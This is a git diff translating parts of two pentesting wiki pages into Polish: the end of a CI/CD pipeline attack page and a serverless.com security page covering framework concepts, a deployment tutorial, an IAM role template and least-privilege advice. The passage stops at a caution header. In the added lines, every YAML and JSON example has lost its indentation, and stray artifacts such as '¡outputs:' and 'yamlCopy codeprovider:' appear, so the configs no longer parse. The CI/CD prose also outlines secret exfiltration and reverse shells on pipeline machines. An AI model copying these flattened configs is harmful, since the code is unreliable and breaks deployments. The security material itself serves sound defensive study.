+- W zależności od platformy pipeline atakujący **może potrzebować określić sekrety w konfiguracji**. Oznacza to, że jeśli atakujący nie może zmodyfikować pliku konfiguracyjnego CI (**I-PPE** na przykład), może **tylko wyeksfiltrować sekrety, które ma ten pipeline**.
+- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej pivotować.
+- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej ilości zasobów**.
+- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny ról IAM/kont usługowych **z niej**, aby uzyskać **dalszy dostęp w chmurze**.
+- **Maszyna platformy**: Czasami zadania będą wykonywane wewnątrz **maszyn platformy pipeline**, które zazwyczaj znajdują się w chmurze z **brakiem dalszego dostępu**.
+- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotny shell na każdej możliwej maszynie, aby spróbować dalej ją wykorzystać.
+- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i ostateczna wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
## More relevant info
### Tools & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia.
### Top 10 CI/CD Security Risk
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Sprawdź ten interesujący artykuł o 10 największych ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak uruchomić ją lokalnie, aby móc ją skonfigurować według własnych potrzeb do testowania.
+- Laboratorium Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu.
## References
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..c5bbf382d 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -2,302 +2,273 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-### Organization
+### Organizacja
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+**Organizacja** to najwyższy poziom podmiotu w ekosystemie Serverless Framework. Reprezentuje **zbiorową grupę**, taką jak firma, dział lub jakikolwiek duży podmiot, który obejmuje wiele projektów, zespołów i aplikacji.
-### Team
+### Zespół
-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+**Zespół** to użytkownicy z dostępem wewnątrz organizacji. Zespoły pomagają w organizowaniu członków na podstawie ról. **`Współpracownicy`** mogą przeglądać i wdrażać istniejące aplikacje, podczas gdy **`Administratorzy`** mogą tworzyć nowe aplikacje i zarządzać ustawieniami organizacji.
-### Application
+### Aplikacja
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+**Aplikacja** to logiczne grupowanie powiązanych usług w ramach Organizacji. Reprezentuje kompletną aplikację składającą się z wielu usług serverless, które współpracują, aby zapewnić spójną funkcjonalność.
-### **Services**
-
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
+### **Usługi**
+**Usługa** to podstawowy komponent aplikacji Serverless. Reprezentuje cały projekt serverless, kapsułkując wszystkie funkcje, konfiguracje i zasoby potrzebne. Zwykle jest definiowana w pliku `serverless.yml`, usługa zawiera metadane, takie jak nazwa usługi, konfiguracje dostawcy, funkcje, zdarzenia, zasoby, wtyczki i zmienne niestandardowe.
```yaml
service: my-service
provider:
- name: aws
- runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
functions:
- hello:
- handler: handler.hello
+hello:
+handler: handler.hello
```
-
-Function
+Funkcja
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+A **Funkcja** reprezentuje pojedynczą funkcję serverless, taką jak funkcja AWS Lambda. Zawiera kod, który jest wykonywany w odpowiedzi na zdarzenia.
+Jest zdefiniowana w sekcji `functions` w `serverless.yml`, określając handler, runtime, zdarzenia, zmienne środowiskowe i inne ustawienia.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
```
-
-Event
+Wydarzenie
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**Wydarzenia** to wyzwalacze, które uruchamiają Twoje funkcje serverless. Określają, jak i kiedy funkcja powinna być wykonywana.
+Typowe rodzaje wydarzeń to żądania HTTP, zaplanowane wydarzenia (zadania cron), wydarzenia z bazy danych, przesyłanie plików i inne.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- - schedule:
- rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
```
-
Resource
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**Zasoby** pozwalają na zdefiniowanie dodatkowych zasobów chmurowych, od których zależy Twoja usługa, takich jak bazy danych, kosze pamięci lub role IAM.
+Są one określane w sekcji `resources`, często używając składni CloudFormation dla AWS.
```yaml
resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- TableName: my-table
- AttributeDefinitions:
- - AttributeName: id
- AttributeType: S
- KeySchema:
- - AttributeName: id
- KeyType: HASH
- ProvisionedThroughput:
- ReadCapacityUnits: 1
- WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
```
-
-Provider
+Dostawca
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-
-It includes details like the runtime, region, stage, and credentials.
+Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne istotne dla tego dostawcy.
+Zawiera szczegóły takie jak środowisko uruchomieniowe, region, etap i dane uwierzytelniające.
```yaml
yamlCopy codeprovider:
- name: aws
- runtime: nodejs14.x
- region: us-east-1
- stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
```
-
-Stage and Region
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+Etap i Region
+Etap reprezentuje różne środowiska (np. rozwój, staging, produkcja), w których Twoja usługa może być wdrożona. Umożliwia to konfiguracje i wdrożenia specyficzne dla środowiska.
```yaml
provider:
- stage: dev
+stage: dev
```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+Region określa geograficzny obszar, w którym Twoje zasoby będą wdrażane. Jest to ważne z uwagi na opóźnienia, zgodność i dostępność.
```yaml
provider:
- region: us-west-2
+region: us-west-2
```
-
-Plugins
-
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
+Wtyczki
+**Wtyczki** rozszerzają funkcjonalność Frameworka Serverless, dodając nowe funkcje lub integrując się z innymi narzędziami i usługami. Są definiowane w sekcji `plugins` i instalowane za pomocą npm.
```yaml
plugins:
- - serverless-offline
- - serverless-webpack
+- serverless-offline
+- serverless-webpack
```
-
-Layers
-
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
+Warstwy
+**Warstwy** pozwalają na pakowanie i zarządzanie wspólnym kodem lub zależnościami oddzielnie od twoich funkcji. To promuje ponowne użycie i zmniejsza rozmiary pakietów wdrożeniowych. Są definiowane w sekcji `layers` i są odniesione przez funkcje.
```yaml
layers:
- commonLibs:
- path: layer-common
+commonLibs:
+path: layer-common
functions:
- hello:
- handler: handler.hello
- layers:
- - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
+```
+
+
+
+
+Zmienne i Zmienne Niestandardowe
+
+**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejsc zastępczych, które są rozwiązywane w czasie wdrażania.
+
+- **Składnia:** składnia `${variable}` może odnosić się do zmiennych środowiskowych, zawartości plików lub innych parametrów konfiguracyjnych.
+
+```yaml
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+* **Zmienne Niestandardowe:** sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
+
+```yaml
+custom:
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
```
-Variables and Custom Variables
-
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
-
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
- ```yaml
- functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
- ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
- ```yaml
- custom:
- tableName: my-dynamodb-table
- stage: ${opt:stage, 'dev'}
- ```
-
-
-
-
-
-Outputs
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+Wyjścia
+**Wyjścia** definiują wartości, które są zwracane po wdrożeniu usługi, takie jak ARNy zasobów, punkty końcowe lub inne przydatne informacje. Są one określone w sekcji `outputs` i często używane do udostępniania informacji innym usługom lub do łatwego dostępu po wdrożeniu.
```yaml
¡outputs:
- ApiEndpoint:
- Description: "API Gateway endpoint URL"
- Value:
- Fn::Join:
- - ""
- - - "https://"
- - Ref: ApiGatewayRestApi
- - ".execute-api."
- - Ref: AWS::Region
- - ".amazonaws.com/"
- - Ref: AWS::Stage
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
```
-
-IAM Roles and Permissions
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
+Role i uprawnienia IAM
+**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych funkcji, aby określić niezbędne uprawnienia.
```yaml
provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-
-Environment Variables
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
+Zmienne Środowiskowe
+**Zmienne** pozwalają na przekazywanie ustawień konfiguracyjnych i sekretów do twoich funkcji bez ich twardego kodowania. Są definiowane w sekcji `environment` dla dostawcy lub poszczególnych funkcji.
```yaml
provider:
- environment:
- STAGE: ${self:provider.stage}
+environment:
+STAGE: ${self:provider.stage}
functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
```
-
-Dependencies
-
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
+Zależności
+**Zależności** zarządzają zewnętrznymi bibliotekami i modułami, których potrzebują Twoje funkcje. Zazwyczaj są obsługiwane za pomocą menedżerów pakietów, takich jak npm lub pip, i pakowane z Twoim pakietem wdrożeniowym przy użyciu narzędzi lub wtyczek, takich jak `serverless-webpack`.
```yaml
plugins:
- - serverless-webpack
+- serverless-webpack
```
-
Hooks
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
-
+**Hooks** pozwalają na uruchamianie niestandardowych skryptów lub poleceń w określonych punktach cyklu życia wdrożenia. Są definiowane za pomocą wtyczek lub w pliku `serverless.yml`, aby wykonywać działania przed lub po wdrożeniach.
```yaml
custom:
- hooks:
- before:deploy:deploy: echo "Starting deployment..."
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
```
-
### Tutorial
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
-
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+To jest podsumowanie oficjalnego tutorialu [**z dokumentacji**](https://www.serverless.com/framework/docs/tutorial):
+1. Utwórz konto AWS (Serverless.com zaczyna w infrastrukturze AWS)
+2. Utwórz konto w serverless.com
+3. Utwórz aplikację:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+To powinno stworzyć **aplikację** o nazwie `tutorialapp`, którą możesz sprawdzić w [serverless.com](serverless.com-security.md) oraz folder o nazwie `Tutorial` z plikiem **`handler.js`** zawierającym kod JS z kodem `helloworld` oraz plikiem **`serverless.yml`** deklarującym tę funkcję:
{{#tabs }}
{{#tab name="handler.js" }}
-
```javascript
exports.hello = async (event) => {
- return {
- statusCode: 200,
- body: JSON.stringify({
- message: "Go Serverless v4! Your function executed successfully!",
- }),
- }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
```
-
{{#endtab }}
{{#endtabs }}
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
- 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
- 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. Utwórz dostawcę AWS, przechodząc do **dashboardu** w `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
+1. Aby dać `serverless.com` dostęp do AWS, poprosi o uruchomienie stosu cloudformation przy użyciu tego pliku konfiguracyjnego (w momencie pisania tego tekstu): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. Ten szablon generuje rolę o nazwie **`SFRole-`** z **`arn:aws:iam::aws:policy/AdministratorAccess`** dla konta z tożsamością zaufania, która pozwala na dostęp konta `Serverless.com` do tej roli.
Yaml roleTemplate
-
```yaml
Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
Resources:
- SFRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- AWS: arn:aws:iam::486128539022:root
- Action:
- - sts:AssumeRole
- Condition:
- StringEquals:
- sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
- Path: /
- RoleName: !Ref RoleName
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AdministratorAccess
- ReporterFunction:
- Type: Custom::ServerlessFrameworkReporter
- Properties:
- ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
- OrgUid: !Ref OrgUid
- RoleArn: !GetAtt SFRole.Arn
- Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
Outputs:
- SFRoleArn:
- Description: "ARN for the IAM Role used by Serverless Framework"
- Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
Parameters:
- OrgUid:
- Description: Serverless Framework Org Uid
- Type: String
- Alias:
- Description: Serverless Framework Provider Alias
- Type: String
- RoleName:
- Description: Serverless Framework Role Name
- Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
```
-
-Trust Relationship
-
+Relacja Zaufania
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::486128539022:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
}
```
-
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. Tutorial prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby wygenerować **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
{{#tabs }}
{{#tab name="createCustomer.js" }}
-
```javascript
"use strict"
const AWS = require("aws-sdk")
module.exports.createCustomer = async (event) => {
- const body = JSON.parse(Buffer.from(event.body, "base64").toString())
- const dynamoDb = new AWS.DynamoDB.DocumentClient()
- const putParams = {
- TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
- Item: {
- primary_key: body.name,
- email: body.email,
- },
- }
- await dynamoDb.put(putParams).promise()
- return {
- statusCode: 201,
- }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -475,388 +434,379 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
- environment:
- DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
- iam:
- role:
- statements:
- - Effect: "Allow"
- Action:
- - "dynamodb:PutItem"
- - "dynamodb:Get*"
- - "dynamodb:Scan*"
- - "dynamodb:UpdateItem"
- - "dynamodb:DeleteItem"
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
- createCustomer:
- handler: createCustomer.createCustomer
- events:
- - httpApi:
- path: /
- method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
resources:
- Resources:
- CustomerTable:
- Type: AWS::DynamoDB::Table
- Properties:
- AttributeDefinitions:
- - AttributeName: primary_key
- AttributeType: S
- BillingMode: PAY_PER_REQUEST
- KeySchema:
- - AttributeName: primary_key
- KeyType: HASH
- TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
```
-
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
- 1. The deployment will be performed via a CloudFormation Stack
- 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
- 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. Wdróż to, uruchamiając **`serverless deploy`**
+1. Wdrożenie zostanie przeprowadzone za pomocą CloudFormation Stack
+2. Zauważ, że **lambdy są wystawione za pomocą API gateway** i nie za pomocą bezpośrednich URL-i
+7. **Przetestuj to**
+1. Poprzedni krok wydrukuje **URL-e**, gdzie Twoje funkcje lambda punktów końcowych API zostały wdrożone
-## Security Review of Serverless.com
+## Przegląd bezpieczeństwa Serverless.com
-### **Misconfigured IAM Roles and Permissions**
+### **Źle skonfigurowane role IAM i uprawnienia**
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+Zbyt szerokie role IAM mogą przyznać nieautoryzowany dostęp do zasobów chmurowych, prowadząc do naruszeń danych lub manipulacji zasobami.
-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
-Minimum lambda permissions
-
+Minimalne uprawnienia lambda
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Action": [
- "logs:CreateLogStream",
- "logs:CreateLogGroup",
- "logs:TagResource"
- ],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
- ],
- "Effect": "Allow"
- },
- {
- "Action": ["logs:PutLogEvents"],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
- ],
- "Effect": "Allow"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
}
```
-
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
- ```yaml
- provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
- ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia do każdej funkcji.
```yaml
provider:
- environment:
- DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
+- **Używaj oddzielnych ról:** Rozróżniaj role na podstawie wymagań funkcji.
+
+---
+
+### **Niebezpieczne sekrety i zarządzanie konfiguracją**
+
+Przechowywanie wrażliwych informacji (np. kluczy API, poświadczeń bazy danych) bezpośrednio w **`serverless.yml`** lub kodzie może prowadzić do ujawnienia, jeśli repozytoria zostaną skompromitowane.
+
+**Zalecanym** sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**!
+
+> [!OSTRZEŻENIE]
